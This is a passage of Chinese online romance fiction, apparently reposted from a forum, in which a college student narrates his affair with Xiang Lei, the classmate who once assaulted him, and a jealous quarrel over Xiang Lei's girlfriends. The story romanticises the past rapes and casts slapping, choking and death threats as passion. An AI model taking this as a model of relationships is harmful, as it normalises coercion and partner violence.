图片载入中

校园的闷热

特大字】 【大字】 【中字】 【小字

一路平安到暑假。打包行李,回家。和秦沁未交谈一言,柯桉连连叹气,迟杭的神色也不太愉快。

大二暑假也一样的闷热。没有军训,在家待足两个月,闷到死。

那年刚好是刀郎走红,偶尔出去逛圈,大街小巷都听见他的声音。

出去超市采购日常用品也能听到他不够原始又不够技巧的嗓音流荡。

你是我的情人,像玫瑰花一样的女人~

哈,多恶俗。

我买够老妈单子上列的东西,立刻从超市逃出来。

从超市出来经过拐角的公园门口时看见一个意料之外的人。穿着条土黄色的卡其布休闲裤,配着件白色大衬衫,嘴里痞痞子的叼着支烟,站在七仙女的塑像下吞云吐雾,近看还真是帅。我拎着写着“苏果”的方便袋从他身边走过,目不斜视,视美色如无物。他叫我:“祈愿。”

我当没听见。

他再叫:“祈愿,我有话和你说。”

我低着头走路,一支还没熄灭的烟头落在我脚边。“我和你说话你听见没有。”

“我跟你有什么好说的。”我环顾下周围环境,四周很安静,中午12点。正是午饭时间,会出来的人不多。菱湖边又向来冷清,他要是在这边杀人越货还真是选对了地方。我摸摸钱包,还剩下不到二十大元。

“也不一定没什么好说的,比如你和我之间到底算个什么关系就很值得探讨一下。”他的胳膊环到我肩上,我下意识地一侧身,避开和他太亲密的接触,我不习惯跟他有非暴力关系之外的肢体交流。他耸耸肩,眼神很奇怪地闪烁了一下。“到里面说吧,外面太阳太毒了。”他自动走到我前面,进去菱湖公园。目标很显然是池塘边的长椅。

我拦住他:“我家液化灶上还炖着排骨。你有话快点说。”想想我补一句,底气不足,“不过我不认为你和我有什么好说的。至于我们的关系你爱怎么想怎么想,反正你欠我的我总会找回来,我祈愿不会让人白欺负了去。”

“液化灶?排骨?那去你家说好了,反正我也还没吃中饭。”靠!当我家什么地方了。

他一副无所谓的神气,轻车熟路地往我家的方向拐。我看着他象识途老马一样在前面带路,还诧异了会他怎么就知道我家的方向了。猛然想起他上次去我家的事,脸色一变,好一会才恢复正常的样子追上去。

我家就在菱湖旁边的住宅小区,建成很有些年头了,从外面看破破烂烂,似乎不能再经过风霜的侵袭,而事实证明它还可以再支撑个十年八年的。我磨磨蹭蹭的拖着脚步,比起向雷,我反倒是后到达家门口的人,我上去的时候他抱着胳膊不耐烦的看着我,只差没说“太慢了”。我站在门外苦笑了下,要是有钥匙的话说不定这个人就自己开门进去了。我摸出钥匙打开门,站在玄关脱了鞋子,叫一声:“真真、怜怜、爱爱出来选女婿喽!”他诧异的跟进来,在室内扫视一遍,卫生间几只白色的毛球滚出来,冲着他直乐,粉红的小舌头招唿上他裸露在外面的小腿上。

“这是什么?”他提起脚丫子试探性地点了点那几团毛球。

“我老妈的宝贝宠物狗。”我用脚尖小心的拨开扑向我的四只,去厨房关掉液化气。还没打开压力锅的盖子就已经闻到四溢的肉香,老妈走前炖的,给几只宝贝的午饭,还千叮咛万嘱咐我一定要看好火,不能炖过头了,不能忘记了,不能自己独吞了。还说什么我吃肉狗狗们啃骨头很公平,其实我看老妈根本就是为了让她的宝贝宠物狗有骨头可以啃才买了一堆排骨回来给我当中饭吃。我端着小盘子出去。“真真、怜怜、爱

爱,还有真真、怜怜和爱爱的妈妈都过来吃饭吧。”

向雷满有兴趣的看我拍着手吆喝老妈的宝贝们过来用餐:“原来你会做饭啊。”

“你有什么话快在我吃饭前说完。”我懒得接他茬,把宝贝们安置在安全的地方,免得这人发起疯来踩着它们。

“我也还没吃饭。”他象个痞子一样双脚交叠着架在我家的玻璃茶几上。

“那你是不是想在我们家吃饭?”我没好气的问他,他居然点头,毫不羞赧,也不想想我和他是什么关系。就这么光明正大的和我说:“我想尝尝你做的饭。”

我端出饭菜来:“我不会做饭,中午就吃排骨汤和咸豆角,另外还有袋榨菜,你要我就拿给你,不要就算了。”

他失望的看着我把压力锅和一碟子咸豆角放客厅茶几上,再拍开他架在茶几上的脚。

“就这些?榨菜我不要。”

不要就拉倒,那还是老妈留给我早上起来喝稀饭配菜的,真给他糟蹋了我明天早上还不知道老妈会不会留榨菜给我配稀饭吃呢。现在老妈的眼里只有她的宝贝宠物狗,我这个儿子早不放心上了,我有没有的吃饿没饿死老妈才不会在意。

我拿了碗盛了自己的饭坐到一边开吃去,他眼巴巴看我半天发现我没帮他盛饭的意思才不情不愿地从我家漂漂亮亮干干净净的沙发上挣扎起来去厨房。我眼睁睁看着他扒开我家厨房的柜子找到碗筷给自己盛了碗饭又不客气的回来坐下。一路过程行云流水毫无阻滞方便熟识得好象回到他自己家一样。我纳闷,难道我家真布置的这么有宾至如归的感觉?

我低头戳着碗里的饭,他叫我:“祈愿。”

“喂!”他伸脚踹我,“看你家的狗。”

我一回头,那边两只在抢最后一只肉骨头,互相厮咬,小爪子拨来拨去。我吼:“小一、小三,毛弄脏了。”忙又夹了几块骨头放到它们的专用盘子里去。地上几道光滑的印子,很明显是油滴滴的肉骨头拖过的痕迹。我捂住额头哀叹,又要拖地了。放开手,看见的是向雷深思的眼神。

“看什么看?”

“我发现你在家里面的时候跟在外面不一样。”他慢悠悠的说,我扒口饭。“那三只狗到底叫什么?”

“真真、怜怜、爱爱啊。”我指着那三只小的介绍,“刚打架的是真真和爱爱,最乖的在一边看着的是怜怜。”我把最乖的那只捞起来放腿上摆好,从锅里挖一块带肉的骨头给它啃。它扭着头在我手上嗅来嗅去,一张嘴咬住我手指头。

“哎呀。”我忙甩开,连狗带骨头。怜怜扑下地,和真真、爱爱抢起骨头来。

向雷看到我狼狈的样子,呵呵笑:“我刚怎么听你叫那两只小一小三?”

“我妈叫它们真真、怜怜、爱爱,我叫它们白小一、白小二、白小三。”我面不改色地解释,好象谎话没有被揭穿。他笑笑,低头吃饭。不时抬头打量我,好象他今天第一次看到我,又好象他忽然得道,一见之下发现日日相见的人原来是早被妖魔附了身般的古怪。

“你吃完了没有?”我拿过他面前的碗筷,收到厨房去洗。磨蹭了半天才出来,出来时看见以为已经走了的吃白食的家伙还蹲在我家地上弄着老妈的宝贝狗玩。我吓的心跳都快停顿:“别那样拎着它,弄死了我妈会杀了我偿命的。”他单手拎着小三的尾巴把它倒悬在半空里,小三可怜巴巴的望着他,小爪子在空中挥舞就是落不到实地。看到我出来忙把小脑袋转向我,期盼我从恶势力的手中解救它出来。我从向雷手上抢过它:“我警告你,这是我老妈的宝贝你少给我乱来。”

我把小三放地上,我想起来我刚才光洗了碗忘了把压力锅洗洗。我往厨房走。腰被搂住,身后一个温热的物体贴近来。“你妈的宝贝我不能乱来你我能乱来吗?”

妈的,以为我不赶你走你就可以放肆起来了么。我用了十分力道要踢他下裆,可是他下一句话阻止了我。“祈愿,我们就这么在一起吧。”他贴在我耳边说,气息近在咫尺,我一瞬间恍惚起来。

“就这样在一起?怎么样?”他问我。我忽然明白他的意思,他是说以后,我和他,祈愿和向雷,就维持着这样不干不净,不清不白的肉体关系。

我推开他:“你以为我是什么人?出来卖的?”凝视着他幽深的眼睛,我竟然感觉不到一丝愤怒。我咬着牙:“别以为你上了我一次两次的我就该一辈子给你上。”

他跌坐在沙发上,嘴角是我不熟悉的笑意,我本能的感觉到危险,比预知他要动手打人还要危险的笑容。我一把拉起他:“快滚,别杵在我家里,我这不缺要饭的。”

他看着我:“祈愿,我知道你是拒绝不了我的,你喜欢我,不是吗?”

“滚。”我煽他一耳光,“我疯了我才喜欢你这个王八蛋。”难得的他居然没还手,揉了下脸悻悻然地笑了笑:“我知道你拒绝不了我的。欲拒还迎是女人才玩的把戏。”

什么我拒绝不了他?好象我做了婊子又要立贞节牌坊一样。

我推的他一个趔趄,脚下一滑就要往地上摔,他大叫“哎哟”,我抱着胳膊冷笑,你装吧。眼角瞟到一个白色东西,一惊:“小三。”

向雷身子一歪,向另外一个方向倒下去,没有压到小三。“怦”的一声巨响。

我吓傻了,忙蹲下去抱住他的头放我大腿上:“没事吧你?”我拍拍他的脸,他没反应。我用力一巴掌,还是没反应。难道晕了?不然我这一巴掌下去以他睚眦必报的性格怎么着也要回我两巴掌外加一脚。我小心的伸手去探他鼻吸,他猛地一睁眼,看见我吓的一哆嗦没好气地骂:“干什么?我又没死,看你那什么表情。”

“还好你没事。”

“拿个镜子去照照你的样子吧。”他恶声恶气的。

“还好你没事。”我念叨着这一句。

“不会说别的话了?”他五个手指在我眼前晃晃,“几个?”

“起来,我陪你去医院看看。”我拉扯他,他不动。

“犯的着吗?不就头在茶几上撞了下。”

“需要……绝对需要……”我家的茶几可是钢化玻璃的,这样都被他撞出道裂缝来可见他刚才情况有多惨烈。

“有病啊,我说……”

“真的要去医院看看。前几年一小孩被自行车撞了也说没事接过第二天就没了。”那是我们学校的真人真事,向雷他肯定也是知道的。他脸色变了变,最后还是骂一句“你白痴啊,去什么医院,你扶我起来坐会就好”。

我拗不过他,只好陪他坐在沙发上,他得寸进尺要求枕在我大腿上,两秒钟后又要求我帮他揉揉脑袋,他说很痛。本来想说通死你个祸害拉倒,后来还是没忍心。看在是我推的他,看在他是为避开我家小三才撞到脑袋我自认倒霉,帮他揉着头。

“不知道有没有脑震荡。”我自言自语,后脑勺一个大包估计要好几天才能消的掉。

他闭着眼睛,听到这句话立刻睁开怒气冲冲瞪着我:“我要是有什么事你得负责。”

妈的我还得负责了,我受了这场惊吓该找谁负责去?刚看见他脸色青白躺在地上我还以为我家要成命案现场了呢,那一瞬间心脏都快停止跳动了。

“你家里人呢?”

“上班。”

“听说你老妈是老师?”

“恩。”我无精打采,还停留在刚才命案现场的恐怖想象里不能自拔。

“老师不放暑假?”

“暑期补课。别说你不是中国的中学出来的。”

“哦。”他拉长声音,我立刻从想象状态转为现实备战状态,警惕的看着他。

“你觉得我刚才的提议怎么样?就关于我们两个以后继续在一起这事?”

“我拒绝。”

他手按在我腿上稍微抬高上半身,刚好我低头,一个不提防,我的下巴和他的额头撞在一起。

“二次受损。”他捂住额头呻吟。

我瞪他,正要说话,他手一勾,以古怪的姿势绕到我脑后,硬是按着我的颈子迫使我低下高贵的头颅和他四眼对视。

就在我快变斗鸡眼的时候他的唇贴上我的。直觉闭上眼。

然后明白过来,我又不是女人,干吗要闭上眼?

不,不是闭眼不闭眼的问题,而是……

“谁准你亲我的?”我抵住他的脸拉开距离。以古怪的姿势在沙发上缠成一团。他半躺在我怀里,双手反搂着我脖子,这个姿势怎么看也该他是弱者才是。

“不能亲?”

不能。在我看来,接吻是很神圣的事,必须和相爱的人一起进行才有意义,不然就是单纯的唾沫的交流和细菌的传递过程,没有必要又恶心的行为。

眼睛眨了两下,向雷迅速换了位置,分开腿跪在我面前,居高临下看了我半晌。

“可以吗?”

连舌头一起伸进来。不同于前次的戏耍,这次才是真正意义上的接吻。我一阵晕眩,极想踢开身上灌我不干净口水和不知名细菌的家伙,可是四肢都受制于他,动弹不得。

他的脸近在我眼前,细致到连一根眼睫毛也能看清楚的地步。B92E3孤:)授权转载 惘然【ann77.xilubbs.com】

他遮住我的眼:“真不可爱。”

这是我们第一次接吻。上了三次床,接过一次吻。

“就这样在一起了。”一吻完毕,他宣告。

我喘着气,庆幸我的肺活量还算不错,没有生生憋死。

向雷趴在我身上,气息同样不稳。这个个中老手也会……我不信。

“继续?”

过半天我才反应过来“继续”的真实含义。

“你这头猪!”我和他紧贴在一起。他的生理变化当然瞒不过我。

“这个世上只有猪和人类是没有固定发情期的。向雷,你是前者。”

“看小白。”

我扭头,小一和小二在沙发背后窝成一团,互相舔着毛皮,用小爪子给对方挠痒痒,不时打闹一下,向我和向雷示示威。最后倚在一起睡去。

“吃了就睡真幸福。”

我静静看着他的侧脸,暗暗叹息。

向雷,你觉不觉得我们很像这小一和小三?成天咬来咬去最后还得挨在一起厮磨。

“你房间在哪?”

“你这个脑震荡的猪。只会发情吗?”

我的房间不用问也是右手边相对小一点的那间。我和向雷搂抱着进去,一路挨在一起拼命厮磨。

一进房门衣服就掉落的满地都是。

天雷勾地火,干柴遇烈火。

第一次接吻,第一次在床上做爱。

趴在床上,向雷在我身后,我看不见他的表情,他也看不见我。

为什么不拒绝他?我问自己。

为什么要拒绝他。

我喜欢他,他也说以后就这样在一起。

各得其所,有什么不好。

老爸老妈白日都要上班,一整天都只有我一个在家。向雷差不多每天下午都来,我们两没有共同语言,不打架就只有上床。从某个意义上来说,向雷是实现了他当年见我一次上我一次的狠话的。祈欢偶尔会来,他怕热,出门都挑上午,他的习惯是除非和我一起出门不然一待都是一整天的。那祈欢来的时候我就打电话给向雷叫他不要过来免得撞车。我懒得向祈欢编造什么化干戈为玉帛的鬼话,何况向雷来了除了上床也基本不和我做别的事,不然倒还三个人凑一起玩玩扑克什么的。

夜路走多了总会遇见鬼。一天我和向雷正在床上厮混的开心,外面门铃大响。

我们在床上滚了一遭后门铃还在响,向雷抱着我说:“别理他。”

我眯眯眼,累的无力。瘫在床上打算再睡一觉。向雷起来穿衣。等一会推推我:“在踢你家门。好象还在叫你名字。”

我侧耳倾听,呻吟一声:“是祈欢。”

“现在开门还是等他走?”

我手忙脚乱的穿衣服:“他要认定我在家的话绝对要叫到我开门为止。”

“还好上次门锁坏了重换以后忘记给他备用钥匙。”

“小愿,你在不在家?”

“来了。”我大叫,开门。

祈欢用手扇着风:“好热好热。有没有冰水给我弄杯来?”

这个少爷到这来就是要人服侍的。我到厨房给他弄冰水。

“向雷!!!!”

哗,我端着杯子匆忙出去。

“你怎么在这?”

“他一直在这,是你刚进来的时候没看见罢了。”我把冰水放祈欢面前茶几上。他端起一饮而尽:“小愿,告诉我这个人在我们家做什么?入室抢劫?”

“我还奸淫掳掠。”向雷没好气。他和祈欢算起来还有点小仇,祈欢找人打的事我想他不会那么快忘记,以他计仇的程度不当场和祈欢打起来就不错了。

我坐到他们中间,清清嗓子:“小欢你今天怎么下午来?外面不热吗?预报说今天最高气温38度。”

祈欢看看我再看看向雷,满是狐疑:“小愿你还没跟我说这个人为什么在这?”

“咳。”我暗示向雷先回去,他装做没看见,翘着二郎腿对我说:“祈愿,我也渴了,帮我弄杯冰水来。”

我从茶几底下踢他一脚:“自己去厨房。”他也要冰水,平时都喝汽水的人,摆明和祈欢过不去。

祈欢忽然站起来。

“小愿我想起来上次忘记本书在你房间里我今天特意过来拿的,谁知道按了半天门铃你也不理我,我还以为你出去了。”

“小欢。”我惊叫,僵硬着脸看祈欢的手放在我房间的门锁上。

“怎么?”

“你的书在我妈房间里,你自己去拿吧。”我哆嗦着声音说,希望他没看出来我和平常有什么不同。

祈欢奇怪的看我一眼。

“在叔叔房间的话我就不方便进去了。反正我要在这边吃晚饭的,等叔叔回来我再拜托叔叔进去拿吧。”

“喂,我走了。”向雷拎着瓶可乐站在厨房门口朝着我的方向说。

“好。”我定定神,送他到门口,压低声音,“等晚上我打电话给你。”

“那小子什么时候走?”

“晚饭后。”傍晚比较凉快。

我关上门一回头,祈欢不见了。天,他刚站的地方是我的房间门口,唯一的可能……

“小愿……”祈欢沉着脸,指着狼藉一片又皱巴巴的床单。房间里的味道还没有散掉,我慌忙去开窗户。

祈欢阻止我:“还是先说说这是怎么回事吧?别和我说你们两个一起在房间看A片。”

我房间没有电视,我苦笑。眼珠转了几转。

祈欢刷的一下掀起我的上衣。我条件反射的护住身体。

长叹一声。祈欢死死盯着我胸口的痕迹。吻痕,抓痕,明显到就是不解情事的少年也可能明白在这个房间刚刚上演过的剧目,更何况是绝顶聪明的祈欢。

“小欢……我和向雷就是……你想的那样……”既被抓到现场,索性招了。祈欢……也许能够理解我一点。

祈欢过半日才开口,这半日我僵硬的站在床边不敢看他。

“我上次来没有带书过来,所以没有忘记书在你房间这回事。”

唉,一回头看见祈欢不见我就想到了,祈欢从来不带书到我家来的。所以他才会在我说书在妈房间的时候用那么古怪的眼神看我了。

“到你房间只是随机。隐约觉得你和向雷不妥,但是没想到事实比我想象的还要劲爆。”祈欢苦笑,“我们出去说。”

我打开窗户透气后又磨蹭一会才出去。

“小欢,我会把一切都告诉你。所以你不要问,不要评论,先听我说。”

“就是这样了,小欢,我喜欢他,我和他在一起了。”

尴尬的气氛在四周曼延。

“你是GAY?”

“是。”吐出这个字并不如我想象的难。

“不,小愿,你要想清楚,你只是青春期的同性倾慕倾向,不是天生的同性恋,你喜欢向雷是因为他本质上是个和你完全不听的人,你被他的自我吸引,你误以为你喜欢他,误以为你是同性恋。给你自己一点时间,暑假不要再见他,和我去看看心理医生。”

“不。小欢,我喜欢他,我和他上床,我喜欢向雷。向雷是个男人,所以我是GAY。心理医生对我不管用。”

颓然叹口气,祈欢倒在沙发上。

“真没想到……若是以前谁说祈愿会喜欢向雷……”

“我会先给他两巴掌,简直比最荒谬的谣言还要荒谬十倍。”那个时候,连我自己都不敢想象我会有一天喜欢上向雷,喜欢上我最讨厌的人,喜欢到甘愿被他压在身下当女人胡搞乱搞。

“小愿,我需要时间消化这个信息。我先走了。”

我也需要时间来消化事实,因为是祈欢,所以我毫不隐瞒的告诉他全部实话,我相信他就算不能理解不能支持我的决定也不会告诉爸妈的。而且我相信,给祈欢一点时间,他会在精神上支持我,哪怕他理智上再不赞成我和向雷在一起。

“我和小欢说了。”我打电话给向雷,急需倾诉。

“全部?”

“不。”没有说前几次是他强暴我,“我说我很喜欢你。”隔了条电话线,看不到表情,我说的很镇定,怪不得那么多人都喜欢在黑夜里说实话了,不必害怕看见别人的脸色就不必提心吊胆。

抱着电话絮絮叨叨,直到妈开门进来才警觉,匆忙挂断。

祈欢过了几天就来找我,虽然神色不见开朗,但偶尔撞见向雷也没表现明显的敌意。我放心很多。

一个是我最爱的情人,一个是我最亲的堂弟,如果冲突起来我的立场很为难,不想向雷受气又不能见祈欢生气。

现在看他没相安无花事我也就放心了。

最爱的情人和最爱的堂弟。只差最在意的朋友了。

和秦沁的冷战持续到开学后,连柯桉都怀疑我到底做过什么事才会让秦沁气足一个暑假都不肯原谅。我无话可说。开头一个月又在这种压抑的环境中过去。

想不到的是大二学年我居然拿到奖学金。

“我请大家吃饭。”在宿舍我小心看秦沁脸色,小心的提议,“大一的时候我就说了拿奖学金请客的,这次总算如愿。去蜀王怎么样?”

秦沁“啪”的一下扔掉课本出去。

迟杭耸耸肩:“我是无所谓。但这是集体聚餐吧?我们417?”

“当然。”我抽动脸皮勉强笑一下。

“那你搞定某人就行了。定了日子通知我下。”

柯桉摇头:“请客也就算了。”看看秦沁丢下的课本,叹口气出去。

我咬咬唇。妈的,送上门和解都不要。

我和秦沁继续僵持,宿舍气压越来越低,其他宿舍的哥们从我和秦沁开始冷战就不敢再来窜门,说是本来祈愿一个火药包已经够可怕的了,现在又加秦沁一个火药桶,威力增三倍不止。

我心里窝着火,跟向雷在一起的时候有时就忍不住拿他撒气。向雷又岂是个好欺负的,最后小打小闹总要发展成全武行。

这天闹歇了,向雷喘着气说:“以前你们宿舍那个……瘦瘦的,叫什么来着,挺能打架的。”

“什么以前,现在也是我们宿舍的。”我知道他说的是秦沁,又是一阵憋气。差点就又开打。但那个混蛋后面那句话让我傻在当场。

“对,叫秦沁的,上学期末的时候还跑来跟我打了一架。”

“秦沁找你打架?你欺负他?”我跳起来揪住他衣领。

他不满:“别人欺负了你老公也没看你这么激动啊!”

“谁欺负你?活的不耐烦了?”招惹这头霸王恐龙。

他扯过我亲下:“说老实话,那个是不是你姘头?”

“放什么P!”

“呵,那小子在我们期末考最后一天跑来我们宿舍找我单挑,说是要问清楚我到底把你祈愿当什么了。”

“什么????”我一激动就掐住他脖子用力摇,他咳几声:“快放手。”

“说,什么时候的事,他和你说了什么,你又和他说了什么。”

他悻悻然:“还说不是姘头,谁信。就问了下我和你以前的事还有我怎么看你的。”

我心里一动,有什么东西闪过。

“他还说我要是就跟你玩玩就趁早收手,不然他绝对不放过我。我就问他如果我是认真的他怎么办?”

“他怎么说?”

“你怎么不关心下我怎么说的。”

“不用关心。我知道了。”我跌坐在地上。所以他后来暑假才会去找我才会和我说以后就这么在一起。原来是秦沁,原来……是这样。

我吁一口气:“他一定是跟你说如果你是认真的就要好好对我。所以你后来去找我。”所以他和我和解的那么快速那么突然那么让我措手不及。

“秦沁,向雷都告诉我了。”

秦沁被我堵在洗手间,柯桉迟杭都不在,他避无可避,除非他动手,不然休想从417出去。

秦沁没有选择装聋作哑。

“就算你喜欢他,我还是要说我讨厌他。”

“为什么不跟我说?背后表现友情很伟大?”

“哼。”

“不过,我真的很感动。”我微笑,忽然拉过秦沁紧紧抱住,“谢谢你这么关心我,谢谢你,秦沁。”

秦沁在我怀里动了动,我抱着他的力道加大了点。想到向雷说的话:“那么瘦看起来一跟手指就能吊死的人那么能打我还真没想到,差点就在他手上吃个大亏。”

“你的问题为什么不当面问我。”

“问你?怎么问你?妈的,你有当过我是朋友吗?”秦沁爆发,一脚踢开我,“你和他的事你一直瞒着我们,我一直以为你恨死他接过你却是喜欢他,你叫我怎么问?我一直当你是好朋友,你这件事却提都没跟我提过,我最讨厌人对我藏着掖着不明不白的。你当我是朋友就该主动告诉我,而不是……你知道那天我看见向雷跟在你后面才跟过去车棚想帮你把手,但是你们都在说什么?”秦沁涨红了脸,纯洁的孩子。我板起脸装正经,一知道秦沁没有嫌弃我觉得我恶心觉得我变态我整个人就喜气洋洋起来,盖都盖不住。

“别笑的那么恶心?”

“秦沁,这么说你后来那段时间不理我是因为觉得我不信任你?”

秦沁扭开脸,我越发笑起来。

“可是你要想想,我总不能突然告诉你我喜欢一个男的吧。”秦沁这样闹别扭的样子还真好玩,可惜不能叫迟杭他们来欣赏下。真是可惜,我手痒痒的只想拿手机出来拍照留念。

秦沁瞪我。

我柔声道:“秦沁,我是真的当你是朋友的。你别再闹别扭任性了好不好?”

刷的一下,秦沁的脸绯红一片:“谁、谁在闹别扭任性了?”

我捂着肚子蹲下去,心情莫名的开朗。

等迟杭知道我们和好如初的时候第一反应是拉着我们417全体成员出去大吃了一顿,美其名曰“庆祝祈愿和秦沁重新回到同一战线”。饭钱想当然是从我微薄的奖学金里算计出。

有了我和秦沁莫名其妙不和又莫名其妙和解的前例,迟杭和柯桉对我和向雷走到一起的事也就不感到特别的难解了。

在15103混久了就知道向雷其实是长期一个人独占一个宿舍的。他的三个室友一个是本地人住在家里(A大规定是住家可以住宿费照算),另一个大二下学期搬出去了,还有一个大部分时间都在学校,一般也不回来住,嫌来来去去的麻烦。所以向雷享受的是一人一室的待遇,这混蛋现在整天往我们宿舍跑说是他那边太冷清了没人气,我们417柯桉最不会斤斤计较,迟杭狐朋狗党中三教九流都有自然不会介意多个向雷,秦沁看我面子勉强也能给他点好脸色。而向雷最不会的就是看人脸色,白脸黑脸红脸对他来说没什么区别,全看他大爷高兴怎么解释。

时间久了,就连旁边宿舍的人都习惯了向雷在我们宿舍出出入入的事了,就差给他一备用钥匙。

秦沁后来就常是半是说笑半是嘲讽的说向雷就是我们417的猕猴桃。

关于猕猴桃的称唿是有典故的,源自于一个笑话。

冰箱里有五个鸡蛋,第一个对第二个说:“你看第五个鸡蛋有毛毛耶,好恐怖。”第二个对第三个说:“你看第五个鸡蛋有毛毛耶,好恐怖。”第三个对第四个说:“你看第五个鸡蛋有毛毛耶,好恐怖。”第五个听见后,说:“滚,老子是猕猴桃。” 秦沁说:“向雷就是我们417的猕猴桃。”

向雷为猕猴桃的称唿还和秦沁半真半假的都过一场,打个平手。猕猴桃这个笑话是人人都知道了,不过也没什么人大了胆子在他当面提就是了。充其量就背后说说“今天在哪哪哪看见你们417那猕猴桃怎么怎么怎么了”。

大三上的日子过的很舒坦,课程算是比较重,心情轻松很多。秦沁常在背地里就给我下猛药:“你得当心当心你们家那口子,花的很。”

在秦沁的意识里,我和男人在一起没什么好说的,我和向雷在一起却是需要大力防范的。他们两人天生不对盘。

向雷的女朋友很多,之前我就看到过几个。但是大三后他天天和我杵一起,要说他还有功夫去泡MM我都佩服他的精力,虽然他的精力旺盛一直是我最头疼的一点,经常被他逮着了就在床上折腾个死去活来的。

生活慢慢规律,每天不论下午有课没课中午都是回公寓区解决的。工大和A大是反方向,公寓区正好在两地之间。秦沁曾说我们两这么明显的行为都没人往GAY这方面联想只能说明中国人的常识还不够。

那天中午回来的迟,没赶上和向雷一起吃饭,事后我打电话给他。

“你在哪?”

“在宿舍。怎么了?”

“没怎么。问一下。”

“想我了?”他在电话里嬉皮笑脸,“要不来我们这,没人。”

“没空,自己玩吧你。”我在电话上亲一口,乐滋滋的回去。宿舍里秦沁他们都在,正在说着笑话。

“介绍人说‘这个小伙子好啊,身体强壮,喜欢野外活动,而且有胸毛……’,女生就问‘那他能直立行走吗?’”

我刚进去就听见这段,憋不住笑。“这又在损谁?秦沁又是你干的是不是?”

秦沁举手发誓:“还真不是我干的。不过这段子说的人还真和你有点关系。”

“谁啊?我怎么不知道我还认识不能直立行走的残障人士?”

“是说你同学向雷的。”柯桉解释笑话的来源,“听说他们班前几天搞联谊有人这么向外班的女生介绍。也不知道向雷得罪谁了编这段子损他。”

秦沁哼一声:“他得罪谁我都不奇怪,那人就一天生欠揍的主子。”

“秦沁到现在还对他意见那么大啊,人家祈少爷都和那向雷化干戈为玉帛了,你还生什么闲气。”迟杭凉凉说一句。秦沁脸色立刻变绿。我装做没看见他的脸色,对柯桉和迟杭笑:“我保证向雷没有胸毛,而且他肯定是直立行走。”

“他直立行走这点我们都知道,不过他有没有胸毛这事祈少爷你又是怎么知道的?什么时候把向雷扒光了看过?”迟杭问,多尖锐。

我在心里嘀咕。不光看过,还做过。

秦沁拉着我到阳台。

“别怪我没告诉你这件事,向雷现在和一个A大成教院的女生打的火热,连我们这边都听到些风声了,你是真不知道还是假不知道。你有没有想过以后怎么办?就这么跟他耗着?”

我一震,抓住秦沁胳膊追问:“这件事是真的?你说向雷和一个A大成教院的女生打的火热?”

“难道我会骗你?昨天中午我还看见他在2食堂和一个女生共用一个盘子吃饭。你喂我我喂你亲热的很。今天又换了另外一个,中午你没回来你是没看见,我们几个可都见着了。”秦沁不高兴,他总怕我和向雷在一起我会吃亏。“那个向雷有多花心,从大一到大二换了多少女朋友,本来这学期刚开学那段时间还收敛点,现在又犯了。哎……祈愿你到哪去?”

15103,我还能到哪去?

我冲到15103,表情凄厉,像个抓奸的妒夫。向雷坐在桌子边啃苹果,看见我把他吃剩的一半扔过来。我接住就往门外丢,将门摔的震天响。外面有人骂,我瞪着向雷,当做没有听见有人问候我死了烂了很多年的祖宗。

“又发什么疯?”他往椅子上一靠,懒洋洋的看着我。我几步冲过去揪住他衣领:“听说你最近跟个美女打得热乎,什么时候结婚吃酒送红鸡蛋?”

他眼睛上扬,一脸不在乎的表情看得人牙痒。捏捏我腰,似乎勉强提起兴趣陪我聊天。“你说哪一个?”

我吐血。还哪一个?难道真像秦沁说的他奸情无数?

“向雷,既然你和我在一起,我就不许你寻花问柳拈花惹草四处留情。”我说的很认真,从他暑假对我说我们就这样在一起吧我就当他是我的私人物品,他人非请勿碰。

他打开我揪住他领子的手。“我找女人那是男人正常的心理需要。”

“那你和我在一起是什么需要?生理需要?”还是当我是女人的替代品,方便又直接还没有后遗症。

他不屑地转转眼珠,又捞起只苹果啃,根本懒得回答我的问题。我气急,掐住他脖子:“立刻跟那几个女人撇清关系,不然我杀了你。”

“你别动不动就学女人的招数掐人。我说了我是正常的男人,正常的男人没有不喜欢跟美女勾搭的。”

“向雷,我很认真的告诉你,你和我在一起一天,就别想和女人勾搭。”我看着他眼睛,我是真的会动手的。

“是吗?”他无动于衷,说这苹果怎么这么多水还不甜。我气到吐血。疯狂地掐着他脖子摇晃。

“你别不信我是说真的,我是真的会杀了你。”

“我信还不行吗?”他拿开我掐他脖子的手凑到嘴边亲一下,“乖。等我过了这关再陪你玩。”

玩?他妈的他当我是在和他玩。好,我就玩死你。我站在他身后手臂环过他脖子收紧。“向雷,和我在一起的时候别想再碰女人。”

他不耐烦:“这话你刚说很多遍了。”

“那你听懂了没有?”

“听懂了。”他回过头看着我,我凝视着他黝黑的眼珠。他舔着嘴角笑:“和你在一起的时候不能碰女人,那不和你在一起就能碰了是吧?”

“妈的,你这叫听懂了?”我甩手煽他一耳光。他火了:“你这什么脾气,说动手就动手。你要是个女人哪个男人受得了你?”

“我不是女人你很遗憾是不是?你现在想甩了我找个女人是不是?”

他揉揉脸搂我坐在他腿上:“你不是女人我也没什么好遗憾的,反正……”手慢慢往下滑,从我的腰滑到腿间再往后。我面对面跨坐在他腿上姿势正好方便他胡来。我抓住他手一甩:“少给我来这套。”

“得了吧。除了我你还想和谁来这一套。”他亲亲我脸,我没动,他得寸进尺从我脸亲到嘴。

“你还没回答我刚才的问题。”我推开他脸,他欲求不满又缠上来:“宝贝,你怎么这么烦,先让我亲亲再说。”

“向雷,你和我,到底算怎么回事,你有没有想过。”

“没想过,就这么过吧。”

“向雷,你知道我喜欢你,我不在乎你喜不喜欢我。但我要求忠诚,和我在一起的时候我绝不能容忍第三者的存在。如果你不能做到,我们不如分手。反正我们这种关系也不可能长久。”我有点自暴自弃的疯狂。

他不屑地看看我:“分手?好啊。你以为除了我还有人会要你。”

我从他腿上站起来:“要我的人要排队的话尽可以从工大排到A大。别以为我跟你在一起我让着你是因为我没人要。”

“行啊,那你试试看,除了我还有哪个要你。”

“别以为你会脚踏两只船别人就都不会噼腿了。”我撩下句狠话。

“有本事你勾个回来我看看。”他跷着二郎腿,浑不在意。不信我会噼腿怎么着。我冷笑,一把推开他,霸占了他小电。

刷上个聊天室,我开口就说419。XX地带是我以前某次无意间冲上去的一个同志网站,刚开始时我不否认我被同志这个词吓着,但后来想想同志又不杀人不放火有什么可怕,再到后来的某一天忽然联想到我和向雷的关系,喜欢男人的我按一般的定义不也是同志吗。这样想着,对同志的排斥也就少了很多,但后来却一直没有在去过这个聊天室。

“我只做1,如果有愿意的,可以和我联系。”我说的很嚣张,刚和我搭话的人看到这句话后“切”了几声就不再理我。我继续刷屏,刷了几分钟,一个叫“合肥三里庵”的和我说话:“要是你长的够帅我就跟你见面。”

